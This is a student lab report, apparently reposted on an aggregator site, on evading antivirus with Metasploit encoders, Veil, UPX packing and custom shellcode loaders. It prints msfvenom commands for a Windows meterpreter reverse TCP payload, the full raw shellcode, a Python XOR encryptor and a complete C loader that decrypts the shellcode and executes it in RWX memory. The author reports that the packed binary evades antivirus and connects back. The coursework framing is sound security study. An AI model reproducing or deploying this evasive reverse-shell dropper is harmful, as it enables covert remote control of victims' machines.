20232403 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 22:24:17/文章来源:https://www.cnblogs.com/xiangyang050615/p/19168040

20232403 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

根据本周所学回答问题:
(1)杀软是如何检测出恶意代码的?
杀软检测恶意代码的核心逻辑是通过 “识别恶意特征或行为”,将恶意代码的特征值储存到资源库,分析目标文件特征并于库比对来检测恶意代码。
(2)免杀是做什么?
是通过各种各样的技术手段修改恶意代码的特征或行为,使其能够绕过杀软的检测机制,在目标系统中正常运行,不被拦截。
(3)免杀的基本方法有哪些?
编码与多层编码、加壳保护、添加花代码混淆特征值等

2.实验过程

2.1正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧

2.1.1使用msfvenom生成原始exe文件,使用编码器进行单次编码,并另对其多重编码以提高免杀率

屏幕截图 2025-10-27 082601
payload_original
原始exe文件查杀率为59/72=82%,可见原始文件几乎不能做到免杀。
payload_encoded
单次编码文件查杀率为57/71=80%。
payload_multi_encoded
多次编码文件查杀率为59/71=82%。
可以看到,单次编码和多次编码对免杀几乎都没有起到效果。这是因为,MSF编码器在给文件编码的同时,会在payload前添加一个解码存根,而这个解码存根本身是有固定特征,杀软很容易识别。这使得无论编码多少次,杀软只需识别这个固定的解码存根就能检测文件。

使用msfvenom生成其他格式文件

jar
python
jar文件查杀率为35/64=55%。
python文件查杀率为21/63=33%。
为什么jar和python文件查杀率更低?这是因为java、python等都不是Windows的“原生格式”,换句话说,jar脚本和python文件需要目标安装java和python,这对杀软资源提出更高要求,使得查杀率降低。

2.1.2使用veil-evasion生成payload

进入veil
image
进入evasion
屏幕截图 2025-10-27 180207
查看payload生成器
image
这里选择的是编号7的c/meterpreter/rev_tcp.py模块,这是一个利用C语言生成的的反向TCP连接payload
image
生成完成后进行评价
image
查杀率为39/72=54%。
可见,利用veil也能够起到免杀的作用。

2.1.3使用加壳工具

在kali虚拟机安装upx,使用upx对2.1.2生成的payload文件进行加壳处理。
image
测评结果
image
查杀率为37/72=52%。
提升效果并不明显,说明该工具的特征已被记录在库中。

2.1.4使用C + shellcode编程

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.5 LPORT=4444 -f c
生成一段适用于Windows系统的恶意代码,并以C语言数组的形式输出。
image
根据输出结果创建一个C语言文件20232403.c。
image
利用i686-w64-mingw32-g++ 20232403.c -o 20232403.exe,将20232403.c编译为20232403.exe文件,并进行评测
image
查杀率为33/71=44%,免杀效果还是很好的。

2.2通过组合应用各种技术实现恶意代码免杀

2.2.1生成原始shellcode并加密

这里的加密方式是异或加密。

点击查看代码
shellcode = (b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"b"\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b"b"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"b"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0"b"\x57\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b"b"\x58\x20\x01\xd3\x50\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"b"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"b"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"b"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"b"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"b"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"b"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"b"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x05\x03\x68\x02\x00"b"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"b"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"b"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"b"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"b"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"b"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"b"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"b"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"b"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"b"\x00\x53\xff\xd5"
)# 加密密钥
key = 0x55# 异或加密
encrypted_shellcode = [byte ^ key for byte in shellcode]# 输出加密后的shellcode
print("unsigned char enc_shellcode[] = {")for i in range(0, len(encrypted_shellcode), 10):line = encrypted_shellcode[i:i+10]print("    " + ", ".join(f"0x{byte:02x}" for byte in line) + ("," if i+10 < len(encrypted_shellcode) else ""))
print("};")
print(f"unsigned int enc_len = {len(encrypted_shellcode)};")

运行python脚本,生成加密shellcode数据

2.2.2根据加密shellcode数据创建解密并加载shellcode的C程序

点击查看代码
#include <windows.h>unsigned char enc_shellcode[] = {0xa9, 0xbd, 0xda, 0x55, 0x55, 0x55, 0x35, 0xdc, 0xb0, 0x64,0x87, 0x31, 0xde, 0x07, 0x65, 0xde, 0x07, 0x59, 0xde, 0x07,0x41, 0x64, 0xaa, 0x5a, 0xe2, 0x1f, 0x73, 0xde, 0x27, 0x7d,0x64, 0x95, 0xf9, 0x69, 0x34, 0x29, 0x57, 0x79, 0x75, 0x94,0x9a, 0x58, 0x54, 0x92, 0x1c, 0x20, 0xba, 0x07, 0xde, 0x07,0x45, 0xde, 0x17, 0x69, 0x54, 0x85, 0x02, 0xde, 0x15, 0x2d,0xd0, 0x95, 0x21, 0x19, 0x54, 0x85, 0xde, 0x1d, 0x4d, 0xde,0x0d, 0x75, 0x54, 0x86, 0x05, 0xd0, 0x9c, 0x21, 0x69, 0x1c,0x64, 0xaa, 0xde, 0x61, 0xde, 0x54, 0x83, 0x64, 0x95, 0xf9,0x94, 0x9a, 0x58, 0x54, 0x92, 0x6d, 0xb5, 0x20, 0xa1, 0x56,0x28, 0xad, 0x6e, 0x28, 0x71, 0x20, 0xb5, 0x0d, 0xde, 0x0d,0x71, 0x54, 0x86, 0x33, 0xde, 0x59, 0x1e, 0xde, 0x0d, 0x49,0x54, 0x86, 0xde, 0x51, 0xde, 0x54, 0x85, 0xdc, 0x11, 0x71,0x71, 0x0e, 0x0e, 0x34, 0x0c, 0x0f, 0x04, 0xaa, 0xb5, 0x0d,0x0a, 0x0f, 0xde, 0x47, 0xbc, 0xd5, 0xaa, 0xaa, 0xaa, 0x08,0x3d, 0x66, 0x67, 0x55, 0x55, 0x3d, 0x22, 0x26, 0x67, 0x0a,0x01, 0x3d, 0x19, 0x22, 0x73, 0x52, 0xdc, 0xbd, 0xaa, 0x85,0xed, 0xc5, 0x54, 0x55, 0x55, 0x7c, 0x91, 0x01, 0x05, 0x3d,0x7c, 0xd5, 0x3e, 0x55, 0xaa, 0x80, 0x3f, 0x5f, 0x3d, 0x95,0xfd, 0x50, 0x56, 0x3d, 0x57, 0x55, 0x44, 0x09, 0xdc, 0xb3,0x05, 0x05, 0x05, 0x05, 0x15, 0x05, 0x15, 0x05, 0x3d, 0xbf,0x5a, 0x8a, 0xb5, 0xaa, 0x80, 0xc2, 0x3f, 0x45, 0x03, 0x02,0x3d, 0xcc, 0xf0, 0x21, 0x34, 0xaa, 0x80, 0xd0, 0x95, 0x21,0x5f, 0xaa, 0x1b, 0x5d, 0x20, 0xb9, 0xbd, 0x32, 0x55, 0x55,0x55, 0x3f, 0x55, 0x3f, 0x51, 0x03, 0x02, 0x3d, 0x57, 0x8c,0x9d, 0x0a, 0xaa, 0x80, 0xd6, 0xad, 0x55, 0x2b, 0x63, 0xde,0x63, 0x3f, 0x15, 0x3d, 0x55, 0x45, 0x55, 0x55, 0x03, 0x3f,0x55, 0x3d, 0x0d, 0xf1, 0x06, 0xb0, 0xaa, 0x80, 0xc6, 0x06,0x3f, 0x55, 0x03, 0x06, 0x02, 0x3d, 0x57, 0x8c, 0x9d, 0x0a,0xaa, 0x80, 0xd6, 0xad, 0x55, 0x28, 0x7d, 0x0d, 0x3d, 0x55,0x15, 0x55, 0x55, 0x3f, 0x55, 0x05, 0x3d, 0x5e, 0x7a, 0x5a,0x65, 0xaa, 0x80, 0x02, 0x3d, 0x20, 0x3b, 0x18, 0x34, 0xaa,0x80, 0x0b, 0x0b, 0xaa, 0x59, 0x71, 0x5a, 0xd0, 0x25, 0xaa,0xaa, 0xaa, 0xbc, 0xce, 0xaa, 0xaa, 0xaa, 0x54, 0x96, 0x7c,0x93, 0x20, 0x94, 0x96, 0xee, 0xa5, 0xe0, 0xf7, 0x03, 0x3f,0x55, 0x06, 0xaa, 0x80
};
unsigned int enc_len = 354;int main() {// 1. 分配内存存储解密后的shellcodeunsigned char* dec_shellcode = (unsigned char*)LocalAlloc(LPTR, enc_len);// 2. 解密for (int i = 0; i < enc_len; i++) {dec_shellcode[i] = enc_shellcode[i] ^ 0x55;}// 3. 分配可执行内存,写入解密后的shellcode并执行void* mem = VirtualAlloc(NULL, enc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlMoveMemory(mem, dec_shellcode, enc_len);  ((void(*)())mem)();  // 执行shellcodeLocalFree(dec_shellcode);VirtualFree(mem, 0, MEM_RELEASE);return 0;
}

2.2.3用mingw编译,减少程序特征:i686-w64-mingw32-gcc loader.c -o malicious.exe -s

2.2.4用UPX对malicious.exe加壳:upx malicious.exe -o malicious_packed.exe

2.2.4免杀测试

malicious_packed.exe放在windows系统D盘下
image
杀毒软件扫描结果:
image
成功与杀毒软件共生

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功

image
image
回连成功

3.问题及解决方案

  • 问题1:做到最后一步无法获取目标机的shell

  • 问题1解决方案:从头开始一个一个参数排查,发现一开始生成原始文件的时候,参数写成了目标机的的ip,然后重做了一遍实验。。。太悲伤了!

4.学习感悟、思考等

一是学到了很多免杀的手段,意识到即使有杀毒软件电脑也不是绝对安全的,需要增强防范意识。二是以后做事一定要更细心一点,不能再犯这次实验的低级错误。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948138.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CF995F Cowmpany Cowmpensation

给定一棵以 \(1\) 为根的 \(n\) 个节点的树,第 \(i\) 个点的父亲为 \(p_i\)。你需要给第 \(i\) 个节点赋予一个整数点权 \(a_i\),需要满足下面的性质:\(\forall i \in [1,n],a_i \in [1,D]\)。\(\forall i \in [2,n…

背诵

可能是到了中年期了,总是会盯着一个地方发呆陷入沉思,或许这就是成熟吧我家猫会后空翻,跟我回家瞧瞧吧

关系运算符逻辑运算符

一.关系运算符 1.关系运算符包括<,>,>=,<=,,!= 比较这几个:最后两个低于起那几个 *由于赋值运算在整个排序中位于倒数第二的位置所以后两个排在低位 2.和!=不要输入实数 二.逻辑运算符 1.逻辑运算符包…

WPF datagrid mvvm loaded 100M items,prism.wpf,prism.dryioc

Install-Package Prism.Wpf Install-Package Prism.DryIOC#region Interfaces public interface IIDService {int GetID(); }public class IDService : IIDService {int idx = 0;public int GetID(){return Interlocke…

20232406 2025-2026-1 《网络与系统攻防技术》实验三实验报告

免杀原理与实践 一、实验内容问题回答: (1)杀软是如何检测出恶意代码的? 签名匹配:最传统的检测方式,杀软维护一个已知恶意软件的签名数据库。当扫描文件或系统时,杀软会将扫描对象与这些签名进行比对,如果发现…

20232424 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232424 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1.实验内容1.1尝试使用msfvenom中的编码器生成多种类型的后门文件 1.2利用工具对文件进行加壳操作 1.3使用C语言 + shellcode编程 1.4尝试利用免杀技术通过…

MLA原理讲解

多头潜在注意力机制 首先我们来回忆一下大模型生成时一个标准多头注意力机制,首先对于第一个token,它的特征向量为H,通过Query权重矩阵,Key权重矩阵和Value权重矩阵,分别得到这个token的Q向量、K向量和V向量。然后…

LLM什么时候才能输出固定格式

转载原文地址 基于概率统计建模,llm展示了非凡的潜力。但是同样由于token的概率性输出,成为llm落地的一个小绊脚石。这里讨论一下几种常见的让llm规范输出目标格式内容的方法,不清楚当前最新研究进展是否有突破。 万…

MCP和Function Calling的区别

原文转载地址 之前一直浅浅看了一眼mcp,觉得和function calling并没有本质区别,被吹的太火了,这两天回头又看了一眼,又有了新的感悟。 让llm回答今天的天气 这种问题明显llm无法回答,因为llm无法感知外部世界,可…

《程序员修炼之道》 阅读笔记三

翻开软件工程的书籍,“石头汤”与“煮青蛙”这两个看似无关的寓言,却像两把钥匙,打开了我对“变化”与“行动”的思考。它们一个教会我如何主动推动改变,一个提醒我警惕被动沉沦,在代码敲打的日夜里,悄悄重塑着我…

sg.绑定键盘事件

python import PySimpleGUI as sglayout = [[sg.Input(key="-INPUT-")]] window = sg.Window("示例", layout) window["-INPUT-"].bind("<Return>", "ENTER"…

FastAPI 架构指南:用这份模版打造可扩展又安全的系统(附实战经验)

原创 AI研究生 AI大模型观察站 2025-10-27 08:16 我在生产环境中将这套结构打磨用于支持 500+ 并发用户;它扩展轻松、维护不累、生产力全速输出。 如果你只想直接在项目中使用该模板的 FastAPI 结构,请查看这个 G…

CF708E Students Camp 题解

\(\text{CF708E Students Camp 题解}\) 其实各个部分都是比较套路的题目。 要求是形成一个类似于中间贯通形式的连通块,显然各个行之间的概率可以独立考虑,但相邻行之间会影响答案,考虑到每一行剩下的一定是一个区间…

20251027

正睿二十连测 B 时间:\(40min\)。 用个并查集之类的东西维护一下边即可。可惜因为 map 常数巨大 TLE 了 \(8pts\)。 变成 unordered_map 或者加快读都能轻松通过。 C 方向搞错了,瞄了眼题解 \(35min\) 就做出来了。给…

window[-TEXT-] 有哪些属性和方法?

在PySimpleGUI中,window[-TEXT-](或其他元素如window["-INPUT-"])作为元素对象,拥有丰富的属性和方法,可实现动态交互和界面控制。以下是核心属性和方法的分类说明: 一、核心属性key功能:元素的唯一标…

HT-083 CSP J/S题解

HT-083 CSP J/S题解 J组 传送门 T1 思路 官方做法是考虑从\(n-1\) 到\(n\)是可以\(O(1)\)转移的,只需判断当前数是不是\(0\)的个数和\(1\)的个数相等,然后\(10^6\)范围内的数据就都可以递推预处理出来,时间复杂度\(O(n…

壁纸收集

壁纸收集收集一些自己喜欢的动漫图片这张大头症,实在是太喜欢了

洛谷 P6965 [NEERC 2016] Binary Code /「雅礼集训 2017 Day4」编码 【经验值记录】(2-SAT 学习笔记)

其实是一篇薛定谔的题解(因为贺了inf篇题解) 玩了我一下午的题(感觉至少是一个上位紫🟣) 啊啊啊啊啊好恶心啊使我san值狂掉! 感觉自己做的话一周也写不出来 前置知识 2-SAT(拓扑排序,trajan求强连通分量),前后缀…

CentOS7安装Miniconda

CentOS7安装Miniconda1. 物料包https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda操作系统和芯片架构 文件MacOS Intel Chip Miniconda3-latest-MacOSX-x86_64.shMacOS Apple Silicon Miniconda3-latest-MacOS…